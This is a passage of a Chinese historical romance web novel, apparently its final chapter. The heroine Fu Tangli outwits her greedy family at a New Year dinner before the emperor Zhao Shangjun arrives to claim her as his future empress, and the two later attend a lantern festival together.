风从宫城檐角边吹过来,这个季节,本来有点儿凉,但因为他在这里,周遭的气息陡然变得燥热起来。 唇舌交错,他的味道,白梅花和乌木糅杂的香气,微微地有点苦,其实还停留在她的身体里面,如此熟悉,深入骨髓。 傅棠梨被他吻得差点要憋死过去,待到他良久之后放开,她已经双腿无力,趴在他臂弯中,面色潮红,眼眸中带着一点迷离的水光,急促地喘着气。 “嗯?你刚刚提到谁了?”赵上钧的手指反复抚摩她的嘴唇,他的指腹粗糙,如同砂砾,重重地碾过去,磨得她嘴唇生疼,或许更像是一种责罚,他挑高了语调,“我没听清楚,来,再说一遍。” 他的语气危险极了。 傅棠梨马上又后悔,把头埋到他怀中:“我错了,你大人有大量,别和我计较。” 赵上钧低下头,亲了亲她的头顶,他抱着她,越抱越紧:“不,那是我的错,我从来没有怪过你,我只是憎恶我自己的无能,我在吃醋,我在嫉妒,梨花,我是个气量很小的人,一直都是。” 傅棠梨伏在他的胸口,想了半天,犹犹豫豫的,用手指头戳了两下,扭捏地道:“喂,其实……其实呢,我本来不打算和你说的,巴巴地说这个,显得我太过矫情,怪害臊……” 这种话,实在不宜宣诸于口,她只觉得脸上滚烫,一阵阵发烧,声音越发小了,黏黏糊糊的,就像害羞的燕子,躲在檐角下咕咕哝哝的,“赵元嘉……他那时候心里只有林婉卿,我故意触怒他,我们在大婚之夜就闹翻了,后来一直不曾……道长,从头到尾,我只有你、只有你一个……” 赵上钧先是怔了一下,然后渐渐明白过来她在说什么,他的手抖了一下,情不自禁收拢双臂,将傅棠梨越抱越紧,几乎要把她嵌到自己的身体里面去,连带着声音都变得有些沙哑:“赵元嘉那厮,他怎么敢这么怠慢你,该死的!我要把他刨出来、鞭尸!” 傅棠梨气急,但整个人被赵上钧牢牢地禁锢住,一点都动弹不得,只能用脑门在他胸口重重地顶了一下,怒道:“你这人实在难伺候,这也不好、那也不好,横竖别人都是错,你究竟要怎样才算好?” 赵上钧喘着粗气,不再答话,倏然将傅棠梨一把打横抄起,扛到肩膀上,向甘露殿的方向走去,大步若流星,不顾皇帝的威仪,几乎要跑起来。 傅棠梨倒垂在他背上,被他颠得头晕眼花,又兼面红耳赤,使劲捶他:“不要脸,旁边有人在看着呢,我的脸都被你丢光了,快快放手!” “怎样才算好,我们现在就回去,彻夜长谈,这才算好!”他咬牙切齿,这般回道。 —————————— 无事时,岁月静好,时光荏苒,西风卷帘,雁字一行去,霜露已晞,冬日的雪悄无声息地落下,青华山上的白梅花又开了,依稀与当年一般无二,须臾之间,到了岁除。 严氏亲自到元真宫,来接傅棠梨回家过年。 傅棠梨本待婉拒,但严氏却兴致勃勃,极力劝说。 “你大伯升官了呢,他在户部十几年了,始终是个主事,我们本以为 这辈子也就到头了,没曾想还有升官的一日。”严氏说得眉飞色舞,“刚下的迁令,升了侍郎之职,就赶在大年夜前,你说,这可不是天大的喜事吗,雀娘,你可得给大伯母一个面子,回家喝口酒,一起热闹热闹。” 傅棠梨见严氏说得高兴,不忍拂她,但又有些犹豫:“祖父和父亲估摸着还在恼我,若碰面了,免不了要生气,反而不美。” “那不会。”严氏说着,也有些唏嘘,“或许了经历了这一番劫难,他们转了性子,你父亲今儿还一直催我快来接你回去,只说好久不见了,一家人务必团圆才好,老爷子也不吭声,我想着,他们多少还是有点良心的。” 是吗?傅棠梨大感稀奇,遂带了黛螺和胭脂一同随严氏回去了。 雪陆陆续续地掉下来,粉墙半片落白,四下里爆竹声不绝,街坊邻居乐呵呵的,见面作揖,互道平安,孩童们在街上跑来跑去,大声尖叫嬉闹,惹得巷子口的老媪探出头来,碎碎念叨。 盛世锦年,人间炊烟,万家灯火,岁岁安乐。 傅家如今住在胡同巷子深处,破旧的一座小宅院,位置也不太好,门口坑洼不平,还积了一洼水,和原先的高户朱门比起来,真真天差地别,连家中的奴仆也没剩几个,只有大管家傅全还在,迎了出来。 “二娘子又回来了,回来就好、回来就好。”傅全是个实心眼的,只有欢喜而已,他带着傅棠梨进去,还小声嘱咐,“老太爷如今脾气更急了,身子骨也不太好,二娘子你多少体恤些,别和他老人家怄气了。” 傅棠梨不过笑笑而已。 片刻,到了正厅,家里的人已经齐了。 傅之贺在长陵坡被打了一顿,元气大伤,往日翩翩美男子,如今枯瘦又瑟缩,他看见长女,略有些激动,可能想要过来亲近一下,但又想起如今这般境地,皆是拜这个女儿所赐,心里又憋屈,踌躇起来,不冷不热、不尴不尬的,只含含糊糊地招呼了一声。 傅棠梨也不甚介意。 众人一起坐下。 菜色还是丰富的,鸡鸭鱼肉什么的都有,热气腾腾的,还备了一坛酒。 大伯傅之恭红光满面,举杯道:“今天好日子,难得一家人团团圆圆的,来、来,都来喝一杯。” 傅方绪很有些看不上这个儿子,年纪一把了,才混了个户部侍郎,高兴成这样,实在上不得台面,他不由“哼”了一声,但如今一家人的日常用度大半是傅之恭在开销,连这宅子,都是傅之恭从同僚那里租借过来的,傅方绪又不得不忍耐情绪,闷头喝了一杯。 严氏活络,随即说笑起来,三夫人张氏如今不奉承杨氏,转而奉承起严氏,一来一去的,席间的气氛勉强热闹了一些。 待席过一半,杨氏在下面扯了扯傅之贺的袖子,傅之贺会意,清了清嗓子,咳了两声,堆起满脸笑,唤了一声:“雀娘。” 听得傅棠梨起了一身鸡皮疙瘩,她客气地道:“父亲有何吩咐?” 傅之贺叹了一口气,温和地道:“雀娘啊,我们终归是一家人,过去呢多少有些不高兴的事儿,都不去计较了,你今儿能回家,可见心里还是念着我们家里人的,父亲心里很是欣慰。” 傅棠梨并不接口,似笑非笑地看着父亲。 杨氏凑上来,殷勤地笑道:“好叫雀娘也知道一下,家里最近喜事连连呢,大伯升了官,你妹妹也说了人家,过了年,就要出嫁了。” 傅棠梨这才注意到,傅芍药坐在一旁,一脸苦大仇深的神情,眼睛又红又肿的,显然刚哭过。这个妹妹气性大,每每见她,十次有九次是在生气。 大过年的,傅棠梨还是愿意给几分面子,当下点头,敷衍了一句:“恭喜。” 她这一搭话,杨氏马上来了精神:“许家没良心,我们家一出事,就退了亲,这回燕娘说的人家,祖上也曾当过官,只是如今不显了,姑爷还在读书,假以时日,未尝不能登阁拜相……” 胭脂站在傅棠梨的身后,忍不住“噗嗤”笑了一声。 傅芍药被许家退了亲,如今只能找一家破落户,本来就十分恼火,这会儿听见胭脂嘲笑她,气得拍案而起:“婢子安敢无礼!” 杨氏今天脾气特别好,赶紧把傅芍药按下:“你这孩子,和你姐姐的人计较什么。” 傅之贺只当作没听见胭脂的笑声,搓了搓手,语气愈发亲昵:“雀娘你呢,如今出家修道,很该抱扑守拙才是,听说你先前从幽王那里把嫁妆都取回来了,我看你眼下也用不上,你妹妹出嫁,家里不同从前了,嫁妆不够气派,怕叫人看轻了去,你做姐姐的,多少给她添点。” 难怪呢,今日巴巴地把她叫回来,原来却是为了这个。 傅棠梨放下竹箸,拿帕子按了按嘴角,面色不动:“父亲觉得我得添多少才合适?” 傅之贺看了杨氏一眼。 杨氏立即应道:“不必多,雀娘你手头阔绰,给你妹妹添个三千两银子就行,多了我们也不好意思拿。” 这话说得,连严氏都听不下去了,她转头对张氏道:“老二家的,你去,拿个镜子出来给老三家的,让她照照,自己的脸得有多大,张得了这个口。” 杨氏的脸“刷”的黑了。 张氏讪讪的,哪里敢掺和进去。 傅棠梨最爱严氏这一点,嘴巴一张,就能把杨氏气得仰倒。 她笑了笑,对严氏道:“我母亲一向脸盘大,大伯母可别说她了,再说她要臊了。” 杨氏的脸皮儿又从黑的变成红的。 傅之贺不好和严氏计较,只能对女儿发作,沉下脸,愤愤的:“雀娘,你怎么说话的,我们不怪你拖累了家人,你反倒和我们生疏起来,旁的不说,只为了你,你祖父丢了官,被查没了宅子,难道你不该担这个责吗?三千两银子,你若一时拿不出现钱,就把安仁坊那套宅子给你祖父,算是抵账了。” 傅方绪前头一直板着脸,坐在那里一言不发,听到这话,眼睛马上看了过来,露出了殷切的目光。原来都在这里等着呢。 安仁坊的宅子和青华山上那套别院一样,是韩老夫人当初为女儿在长安置办的嫁妆,宽敞气派,在寸土寸金的长安也称得上是豪宅,杨氏掌管韩氏的嫁妆多年,心里清楚得很,单单就挑了这一套。 傅棠梨心里也动了气,面上不显,反而笑吟吟的,伸出手,叫了一声:“黛螺。” 黛螺侍立在一旁,此时听得娘子叫她,心领神会,向前一步,将一个小暖炉塞到傅棠梨的手中:“娘子,天冷,这屋漏风,您小心别着凉了。” 那暖炉裹着厚实的蜀锦牡丹缂丝罩子,里面是赤金掐丝珐琅质地,做得精致小巧,团在掌心里,热乎乎的。 傅棠梨惬意地叹了一口气,又问黛螺:“今儿里面放了什么香饼子?味道怪好。” 黛螺回道,“娘子先前说不喜欢炭木烧起来的味道,我就只用了龙涎和沉香二味制成香饼,就是不太经烧,我这里备了一袋子,过会儿给娘子添上。” 龙涎与沉香二味,一金 难换一两,她竟直接拿来烧了取暖? 连傅方绪都黑了脸,怒道:“荒唐,何太奢!” 傅棠梨摸着手里的暖炉子,慢条斯理地道:“我从前享乐惯了,如今也收不住,不说这香饼子,只说我在观里抄经,也爱用金粉和着香墨,抄出来的经文呀,闪闪发光,供奉在三清祖师座前,好看得紧,连观主都夸我有诚心,你们看,这一来二去的,实在存不住钱,恐怕没的孝敬祖父和父亲了。” 杨氏强忍着怒气,试图再挣扎一把:“雀娘,你的家底,我是知道的,哪怕香料金粉当作土撒,也不过九牛一毛罢了,你一个出家的女冠,再没旁的花销,不如给家里人救急,免得将来被人骗了去。” 真是不死心。 傅棠梨长长地“哦”了一声,漫不经心地道:“对了,是这样的,不劳母亲担忧,说到旁的花销,我呢,在观里找了一位师兄照顾我,师兄容貌生得好,对我百依百顺,我十分满意,给他花了许多银子……” 严氏在喝酒,一时没忍住,“噗嗤”一声,喷了出来。 第76章【大结局】 第76章 第76章大结局:灯火…… 傅之贺勃然大怒,站起身来,用颤抖的手指着傅棠梨:“恬不知羞!恬不知羞!” 傅棠梨微微地笑了起来,和她早先一点儿都没差,依旧是那种气死人不偿命的气定神闲:“怎么,父亲和母亲都觉得我在元真宫就该吃苦吗?这可错了,我手里有钱,到哪不能过好日子,师兄讨我欢心,我愿意把钱给他,你们让我心烦,我就一毛不拔,这可不是天经地义的事吗?你们这些摊手要钱的都不羞,我有什么好羞的?” 傅之恭急忙出来打圆场:“雀娘少说两句,别气你父亲了。老三,你也坐下,有些话就不该和孩子说,大年夜的,别吵,怪没意思。” 就在这时,傅全从外头进来,脸色怪异,小心翼翼地插进话来:“门口有位自称玄衍的道长,说是从元真宫来的,来接二娘子,二娘子要叫他进来吗?” 不说犹可,这一说,简直就是正撞在刀口上了,什么元真宫的道长,可不是方才所说的“师兄”吗? 傅之贺拍案,咬牙道:“好啊,正要找他去,他倒送上门来了,我倒要看看,谁敢来骗我女儿的钱财。” 他说罢,怒气冲冲,一阵风似的出去了。 傅棠梨稳坐如泰山,不过笑了一下。 严氏和傅之恭见势不妙,赶紧跟了出去:“老三,你冷静些。” 宅院不大,不过几步路,跟在后头的傅之恭夫妇还没来得及拉住,傅之贺已经冲到院门口,捋起袖子,厉声喝道:“哪里的泼皮无赖,敢、敢、敢……” 后面几个字就打了颤,抖了半天抖不出来。 赵上钧站在门外,披着黑珍珠貂皮大氅,身形英武,神姿高彻,肩头落了零星几点雪,宛如崖上青松立于明月下,他看着傅之贺,微微一挑眉:“敢什么?” 两个小道士侍奉在赵上钧的身后,一人牵着马,一人挑着灯。 傅之恭已经赶了上来,口中还在劝:“三弟,别这样,来者都是客、客、客……” 后面几个字,他也开始打颤起来。 傅之贺眼发花、脚发软,“噗通”一声,不由自主地跪倒下来:“臣、啊、不、草、草民叩见陛下。” 傅之恭也忙不迭地跪下了:“臣叩见陛下。” 严氏本来伸手要拉的,手伸到一半就卡住了,看了看傅之贺、再看看傅之恭,然后又看了看赵上钧,怀疑自己是不是在做梦:“你、你不是雀娘的那个……呃、情、情郎吗?” 傅之恭额头冒出了大汗,赶紧扯了严氏一把,低声喝道:“这是当今圣上,你口无遮挡的,胡说什么?” 赵上钧却朝严氏略一颔首:“不错,我这会儿过来接梨花,傅夫人,烦请领路。” 严氏觉得整个人都在云里雾里转,转了好大一圈才绕出来,她看着赵上钧,很不敢相信,又不得不信,不由得两股战战,结结巴巴:“啊、陛、陛下……是、是,陛下请随臣妇来。” 她迈着发软的腿,如同梦游一般,神情恍惚地领着赵上钧进去。 甫入屋,傅方绪惊骇欲绝,老骨头一把了,还能腾地一下起身,差点打翻了酒盏:“陛、陛下!” 傅家众人闻言,大为恐慌,一个个忙不迭地起身,“哐哐当当”带倒一片碗勺,随傅方绪一起拜倒:“叩见陛下!” 只有傅棠梨坐在那里不动,还要咕咕哝哝地埋怨两句:“不是说过了,我吃个饭,过了戌时就回去,偏你多事,过来作甚?大张旗鼓的,叫人瞧见,多不好。” 赵上钧脱下黑貂大氅,顺手递给玄安,温和地应道:“人家年夜团团圆圆,你却丢下我一个人,我在宫里等得无聊,想叫你早点回去。” 傅棠梨抿嘴笑了起来:“急性子,天冷着,既来了,好歹略坐坐,喝一杯再走。” 赵上钧顿时警觉:“你今儿晚上喝酒了吗?” 傅棠梨瞥他一眼,嗔道:“别管得这么紧,烦你,记着呢,就喝了茶,不曾喝酒。” 这边两个人若无其事地说着话,那边傅家众人心中皆是惊涛骇浪。 原本只当废太子妃留住一条性命已是侥幸,从此后再也翻身不得,谁料得,看这情形,她竟是一步登天。这一下奇峰突起,宛如石破天惊,若非眼见,实在难以置信。 傅方绪睁圆了眼眶,老树皮似的脸颊抽动着,几番想要说话,巍巍颤颤说不上来。傅之贺夫妇伏着不敢抬头,若非害怕御前失仪,早就要瘫倒在地,而傅芍药的牙齿咯咯作响,不知道是恨得、还是气得。 赵上钧走到傅棠梨的身边,扫了一眼这桌家宴。 傅棠梨马上从皇帝陛下的眼神中读懂了他的嫌弃,她忍不住要笑,站起身,拉了拉他的袖子:“别矫情了,过来,我的椅子让你坐。” 赵上钧又看了两眼,这才勉强坐下了。 傅棠梨看了看家里人,戳了戳赵上钧:“快叫人家起来。” 赵上钧这才道:“平身吧。” 傅方绪带着儿孙们起了身,却不敢和皇帝平起平坐,只得毕恭毕敬地站在一旁,俯首躬身,面色各异。 傅棠梨为赵上钧斟了一盏酒:“喏,这也是我的杯子,不知道大伯今天备的什么酒,闻着味道有些烈。” 傅之恭战战兢兢地道:“启禀陛下,此乃柏叶酒。” 赵上钧啜了一口,评判了一句:“不甚佳,想是被酒贩子骗了,明儿我叫人送两坛宫里的屠苏过来给你。” 傅之恭受宠若惊,眼眶含泪:“臣谢陛下隆恩。” 赵上钧放下酒盏,看着傅之恭,淡淡地道:“傅之恭是吧,朕前几天看了你历年的官员考评文书,实在是个庸才。” 傅之恭差点要哭,又赶紧跪下,“哐哐”叩头:“臣无能,有负圣恩。” 傅棠梨不悦,拿手指头戳了戳赵上钧:“说什么呢,大过年的,大伯才升了官,你别扫兴好吗?” 赵上钧不动声色,捏住了她的手指头,继续往下说:“但难得你做事勤勉,矜矜业业,从无一丝差池,故而提拔你做了侍郎,日后好好辅佐上官做事,安守本分,切勿轻狂,你可记下了?” 傅之恭继续“哐哐”叩头:“臣谨记陛下教诲,不敢有丝毫懈怠。” 赵上钧这才点了点头,略一抬手。 站在后面的玄度从袖中拿出一份圣旨,展开,一板一眼地念道:“奉天承运皇帝制曰,兹尔傅之恭,植操贞固,恪勤匪懈,朕心嘉悦,酬庸锡爵,着封尔为荣恩侯,食邑千户,世袭三代,尔其恪守忠贞,勿坠素节。钦此。” 天下突然掉下一个侯爷的爵位,正正地砸在傅之恭的脑门上,砸得他眼冒金星,茫然不知所措,跪在那里抖了半天:“臣、臣、臣……” 还是严氏利索,马上跪在傅之恭的身边,按住他的头,“哐哐哐”在地上砸了三下:“谢圣上隆恩!万岁!万万岁!” 大伯的额头顿时被砸出一个大包。 赵上钧笑了一下,语气自然,如道家常:“梨花终归是傅家的女儿,朕的皇后,得有一个体面的家世,她如今出家,断了尘缘,与旧日父母再无干系,待明年,她还俗回来,便只是荣恩侯府的女郎,你们懂吗?” 傅之恭被严氏砸了几下,脑袋更晕了,不论赵上钧说什么,他只管叩头:“是、是、是!” 傅方绪失魂落魄,摇摇晃晃,一言不发。傅之贺夫妇站在一旁,眼睁睁地看着这一切,眼睛几乎要突出来,脸上青红蓝绿紫五色不停变幻,说不出的精彩。 赵上钧环顾左右,又道:“此宅院破败,不当人意,朕命人在宣阳坊收拾了一套府邸,比你们傅府原来大一些,赐尔为侯府,你们尽快搬迁,过了年,会有内廷官员过去,操办婚仪相关,出嫁日,皇后从荣恩 侯府出,该有的排场一点都不能缺,傅之恭、傅夫人,你们两个到时候须多费点心思,记住了吗?” 傅之恭夫妇喏喏应是,喜得整个人都轻飘飘的,魂儿在天上飞荡。 赵上钧又叫了一声:“傅方绪。” 傅方绪的身体摇晃了一下,急急上前一步,脸上重又升起殷切之色。 赵上钧目光冰冷,如视蝼蚁:“其实你的眼光很好,梨花命格高贵,来日可母仪天下,只可惜,你为什么不能看得更长远一些,她甫有危难,你便弃她于不顾,枉叫你多年心血付之一炬,鼠目寸光竟至于此,朕如今问你一句,你后悔了吗?” 傅方绪脸皮发紫,嗫嚅着说不出话来。 傅棠梨眉头微皱,低声道:“说这个作甚,他不把我当孙女,我也不把他当祖父,横竖是不相干的人,无需介意。” 赵上钧笑而颔首:“好,无需介意。” 他站了起来,指着傅方绪和傅之贺,漫不经心地带了一句:“对了,这些不相干的人,别叫他们一起跟到荣恩侯府去,免得梨花来日见了心烦。” 傅方绪倏然喷出一口老血,仰面倒了下去。 傅之贺哭喊着扑过去:“父亲、父亲,您怎么了?” 杨氏再也忍不住,和傅芍药母女两个抱头痛哭。 傅之恭赶紧叫傅全:“快、快去找个大夫来。” 严氏连连跺脚:“这大年夜的,到哪里找大夫啊。” 乱哄哄的闹成一团。 傅棠梨摇头轻叹。 赵上钧又从玄安手里取过那件黑珍珠貂绒大氅,搭到傅棠梨的肩上,拉起她的手:“走吧。” 两个人一同出去。 傅家的人顾不上老爷子了,齐齐恭送圣驾出门。 门口外有一滩污水。 赵上钧半蹲下身,转头对傅棠梨道:“地上脏,来,我背你。” 傅棠梨微笑着,趴到他的背上,双手搂住了他的脖子:“你这会儿可不嫌脏了。” 玄安跟在后头,牵着马,悄声对玄度道:“其实,师姐可以骑她的小桃花,用不着师兄背她。” 胭脂在旁边“嗤”了一下:“小道士,真是不解风情,你可闭嘴吧。” 跨过了那滩水,赵上钧也没把傅棠梨放下来,依旧背着她,一起走过市井的街道。 这会儿街坊邻居都窝在家里吃年夜饭,街头没几个人,空荡荡的,地上一层薄薄的雪,脚步踩过去,有一点点“咯吱咯吱”的声响,还有小桃花悠悠哉哉地跟在后头,马蹄“哒哒”的。 他的身体温暖如火,带着那种熟悉的气息,白梅花冰冷的香、以及乌木的一点苦,今夜岁除,爆竹声声,空气里还有一点硝石的味道,混合在一起,好似信灵者从云端降下,踏入此间的尘世。 “雪已经停了,青虚子师伯原本说了,明儿早起,要叫大家伙儿一块去扫雪呢。”傅棠梨和他偷偷地耳语,“喏,你去不去?” “我们不理他。”赵上钧也偷偷地回她,“你今晚跟我回宫,我们在宫里守岁,我呢,许你喝一点小酒,快活一下。” 傅棠梨咬了一下他的耳朵,“啐”了一声:“我不知道你打什么心思吗?到底是谁快活?” 赵上钧笑了起来,笑声低沉而混合,身体震动的触感,传递到傅棠梨的胸口,有些酥酥麻麻的。 “那还用说吗,梨花,我只要看着你,就十分快活了。” —————————— 是年春,帝昭天下,定年号为“崇熙”,自此,新岁序开,万象更新。 崇熙元年,风调雨顺,去年的那场动荡仿佛已经被人们所遗忘,朝堂上的大臣们换了一波面孔,崇熙帝大刀阔斧推行新政,整顿军制、兴修水利、开垦良田,重核税赋,并颁旨开恩科、招贤才,桩桩样样,各部的官员忙得脚不沾地。 春和景明,冬雪消褪,燕子归时,融融洽洽。不论朝堂上的风云如何变幻,年轻的贵族女郎们并不受影响,依旧结伴踏春,自在游玩。 正月十五元宵日,安王妃发帖,请各家女郎往芙蓉园,共赏花灯。 传闻芙蓉园中奇芳斗艳,琼楼叠起,春波如碧,风景独好,但因其为皇家禁苑,无诏命不得入,平日难得一见的,何况安王妃身份尊贵,她既发帖,无有不应,是日黄昏时,女郎们欣然赴约去。 至园中,女使如云,挑灯引众人入。 宴设紫云台,曲水流经,碧波万顷,台上明月如水,台前水如明月,廊台悬布花灯。 这所谓花灯,真真名副其实。这季节,竟有牡丹、芍药、山茶、芙蓉等鲜花,被采摘了下来,团在一起做成花簇,形态各异,或似凤凰、或似圆月、或似莲台,般般种种,不一而足,中置琉璃盏,点明烛以高照,灯火漫延入碧波,天上地下皆花海。 烛光透出花影,水粉轻红,雪白娇嫩,姿态曼妙,风拂水面,水起涟漪,花瓣颤颤似云霞流动,天公与匠人共造此景,精妙绝伦。 又有折枝白梅,遍插紫云台,身临其中,月至黄昏,疏影横斜,暗香浮动,如步入山间梅花林,能闻鹤鸣声。 女郎们纵使出身富贵,也未曾见此景致,当下惊叹不已,未及入座,便三两携手结伴,仔细观赏,看得有趣,还忍不住要上手摸一摸,惊起花间蝴蝶,又惹来一阵阵笑声。 至台前玉罄响,催促再三,女郎们才陆陆续续入座。 有人和安王妃相熟,迫不及待地发问:“这节令还未至,怎有百花盛开,莫非王妃求了天上瑶池的仙姬,命各路花神今夜来此?” “说到这个,其实老身也不知情。”安王妃坐在上首,笑意盈盈,一脸慈祥,指了指旁边的座位:“她才是这园子的主人,老身不过借花献佛而已,你们若问,需得问她去。” 此言一出,女郎们齐齐望了过去,四下骤然安静了片刻,旋即私语声大作。 只因安王妃身边坐的乃是已经被废黜的旧太子妃,傅家的二娘子。旧太子被贬为幽王,死得不明不白,而旧太子妃被当今崇熙帝勒令出家为先帝祈福,任谁都谓她红颜薄命 ,此生已至穷途。 不曾想,她今日竟能以主人之姿出现在这高门盛宴上,甚至能令安王妃屈居其下,怎不令人惊诧莫名。 听闻傅二娘出家以“怀真”为号,此际,她做女冠装扮,发挽高髻,佩莲花金冠,穿鹤纹羽衣,披着一袭黑珍珠貂绒大氅,那大氅对她来说显得过于宽松了,半搭在地上,让她在道家仙貌中又流露出几分慵懒的模样。 容光灼灼,有芝兰之姿,又有桃夭之态,说不出来,好似和从前有些不太一样。 内中亦有和傅棠梨往日交好的女郎,迟疑着道:“傅……呃,怀真师父,今日这花灯宴会,难不成你才是东家?” 傅棠梨神态自若,依旧端庄优雅,仪容无可挑剔,颔首道:“不错,我原想着,过去一年很不太平,好不容易,如今河清海晏,天下安宁,是极好的光景,点起花灯来,红红火火的,正好,把那些过往的晦气都烧去,新年伊始,日子过下去也顺畅。” 她微微一笑,抬手指了指那一片花海灯火:“置办了老半天,只我一个人,也怪冷清的,没甚意思,就叫大家一起过来热闹热闹,怎么样,好看吗?” 又有那些个心胸狭窄的女郎,不太服气,“哼”了一声:“好看是好看,只是这么大座皇家园林,你一个女冠子,怎么就成主人了?我才不信呢,莫不是吹牛,连安王妃也被哄骗了去。” 这其中只有何六娘当日到过冯太后的长乐宫,知道个八九不离十,她心里快要怄死了,又不敢发作,只得用帕子掩了嘴,酸溜溜地道:“怀真师父运气好着呢,有贵人提携,你呀,少说两句。” 傅棠梨气定神闲,笑吟吟地道:“这园子呢,是我从前花了大价钱,做了一笔买卖,人家付我的利息,真金白银换的,可不是运气。” 先前的女郎更不信了:“胡说什么,这园子是皇族所有,谁敢胡乱买卖,你都已经出家,再不是太子妃了,莫逞这个风头,那是杀头的罪。” 有好心肠的赶紧出来息事宁人:“别说这些有的没的,怀真师父,你还未告诉我们,那些花儿怎么能开在这季节,莫非是道家神通?” 傅棠梨拍了拍手:“哦,这个呀,可不是道家神通,乃是金银之力,请一些经验老道的花匠来,砌花房,以琉璃为顶,不遮日光,将花木置于其中,烧炭木以取暖,十二时辰不断,温度如春季,伺候个把月,大约十株当中总会有一两株会开花,拼拼凑凑,搞了这么些花灯出来。” 她寥寥几句,说来简单,但这能工巧匠、这琉璃花房、这个把月不间断的炭火、以及这十取其一的名贵花木,这得是多少白花花的银子啊,听着就叫人牙都疼了,这帮女郎不仅发出惊叹之声。 “这、这可太奢侈了,怀真师父,你如今是出家人,要静心修持才是,怎么这般贪图享乐呢?” 旁边的侍从为女郎们奉上了饮品,只这一点不好,没有酒,只有玫瑰饮子、樱桃乳浆、葡萄清汁之类的,用冰块镇着,一色儿甜滋滋的。 傅棠梨啜了一口玫瑰饮,语气轻松,笑道:“所谓道法自然,该我有的,享用就是,有何不可?” 她这么说着,旁人更酸了:“你别嘴硬了,若说其他好处,那也就罢了,你度为女冠,无家无室,孤单单的一个人,有什么趣味可享用,强撑罢了。” 何六娘急得扑过去掩她的嘴:“别说了,作死吗?” 傅棠梨却神色不动,甚至温和地点了点头,道:“这个无妨,我手上有钱,如今呢,又没人拘束,这不是正好,就给自己找了一个情郎,他模样生得极好,很合我心意,又兼之温柔体贴,知冷知热,把我哄得高高兴兴的,这才是神仙日子,依我看,你们羡慕不来的。” 底下顿时炸开了锅,年轻的女郎们听着这个都脸红,又忍不住要议论,一大群,和麻雀似的,叽叽喳喳的,有的说,不错呢很有道理,有的说,这可不是瞎扯吗不害臊,还有人偷偷摸摸挨过来问,做女冠真的这么逍遥吗? 安王妃听得莞尔,笑而不语。 少顷,各色菜肴如流水一般端上,金齑玉脍,凤髓龙肝,驼峰鹅掌,说不尽的山珍海错。侍女在旁各奉小山炉,香雾袅绕,宛如仙境。 有乐师在台下拨动琴瑟,二八姬人临于水岸,吟唱清歌,其声飘于水面,渺渺似天籁。天上月如圆盘,照见琼楼玉宇,繁花似锦,一派祥宁。 宴半酣,有人踏歌而来,明月相伴,清辉拂身,愈发衬得他俊朗如崖上青松,英挺有山岳之势,兼之容貌俊美无俦,当真宛如天人。 安王妃上前,恭敬行礼:“陛下。” 众女郎大惊,齐齐起身,崇熙帝威势隆重,女郎皆不敢抬头直视,唯俯首而已:“参见陛下。” 只有傅棠梨懒懒地坐着不动。 赵上钧走到她面前,神态自然而亲昵,将她拉了起来,细心地将那件黑貂大氅给她披好,又顺手摸了摸她的头:“天还冷着,水边风大,别贪玩,花灯看得差不多了,我带你去看看另外一样有趣的玩意。” 傅棠梨微笑,对安王妃道:“宴未毕,我却不能奉陪,实在失礼。” 安王妃颔首:“老身替娘子招呼宾客,娘子只管去。” 这个称呼很微妙,安王妃只唤她“娘子”,却不叫“怀真师父”。 女郎们皆是世家出身,虽然年轻,但人情世故多少是懂得,言下这情形,哪里还有什么不明白的,心下尽皆惊骇,原来这傅二娘子手段这般了得,所谓“情郎”,赫然就是崇熙帝! 所以,旧太子妃被废,转身一变,要直接当上皇后了吗?匪夷所思!真真匪夷所思! 要说这事情,其实不见得光彩,但崇熙帝是何许人也,当今天子,征伐四海,铁血铁腕,杀伐刚烈,有什么人敢妄议他呢? 这一大帮子女郎,除了何六娘,哪怕是其中最老成的,此刻也禁不住目瞪口呆,只能磕磕巴巴地附和:“二、二娘只管去吧,我们自己玩、自己玩。” 赵上钧携傅棠梨径直而去。 留下女郎们在身后久久不能回神。 …… 长安街头,金吾不禁,玉漏莫催,一城月色清寒,万顷灯火璀璨,如续白昼。雪柳缠着黄金缕,笙歌处处,凤箫婉转,鱼龙狂舞,香车与宝辇堵了道,二八女娘娥眉横扫,笑语盈盈而去。 春风欲懒,人流如织。 赵上钧拉着傅棠梨的手,一起慢慢地走着。 傅棠梨有些脸红,几次试图把手抽回来:“人这么多,我眼下还是女冠,不守清规,叫人看见了可糟糕了。” 赵上钧不动声色,反而抓得更紧,还指了指稍远的墙角处。 市井中的小娘子和郎君约在黄昏后,说不完的你侬我侬,那小娘子正好恼了郎君,抬手给了他一拳。 傅棠梨忍不住笑了起来。 元宵佳日,正是花前月下的好光景,管那许多作甚? 两个人缓步当车,悠悠哉哉地走了一段路,看见前头树下摆着一个小摊,一白发老叟在贩卖糖画,左右围了一堆小童子,闹腾得很。 “我要兔子!” “我要大公鸡!” “蝴蝶、蝴蝶,就要蝴蝶!” 要不到的,就地躺倒,大哭起来,被自家老娘拎着耳朵揪走了。 傅棠梨来了兴致,拖着赵上钧过去:“老丈,我们也要买个糖画。” 老叟眯着眼睛打量了一下,难为他老眼昏花的,居然一眼就认了出来,只因这两人的样貌太过出色,赵上钧出手又阔绰,老叟当年一别,实在印象至深,如今重逢,也觉得意外,一拍手:“嗐,是你们两个啊,又来了。” 傅棠梨探着脑袋,在摊子上瞧了一圈,没瞧见喜欢的,侧过脸,看了看赵上钧,想起当日事,不禁露出了促狭的笑容。 老叟见状,笑问道:“可是要再做一个神仙……哦,不对……” 现在再看这二人服饰,一个还了俗,不做道长,一个却出了家,做了女冠,叫老叟也有些不知所措了:“这……要不,做个仙女吧?” 傅棠梨笑得眉眼弯弯的,一本正经地点头:“好,做个仙女,要像我,很漂亮的仙女儿。” 老叟应了一声,拿起勺子,在盘子上涂涂画画,手脚麻利,过了一会儿,就做成了一个糖画,用棒子黏好,递给傅棠梨,笑呵呵的:“来,漂亮的仙女,拿好,不收你们钱,当时给得太多了,这回还你们一些。” 傅棠梨也不客气,收下了:“多谢老丈,明年我还来。” 老叟赶紧摆手:“不、不、明年别来了,不还了。” 赵上钧笑笑,掏出一块碎金,扔给老叟:“明年来,明年再给。” 老叟惊喜得几乎呆住了,待到回过神来,那两个人已经走远了,他站在摊子上,喃喃自语:“这,莫非真是天上的神 仙和仙女吗?” …… 未几,行至朱雀门。 宫人执灯,分侍两侧,城楼上火把簇拥成串,熊熊燃烧,明月当空,星河万里,照亮四方如白昼,厚重的朱雀城楼在月与火的光照下显出深沉的暗红色,庄严而华贵,金柱高耸,檐角鸱吻张口向天,微芒跃动。 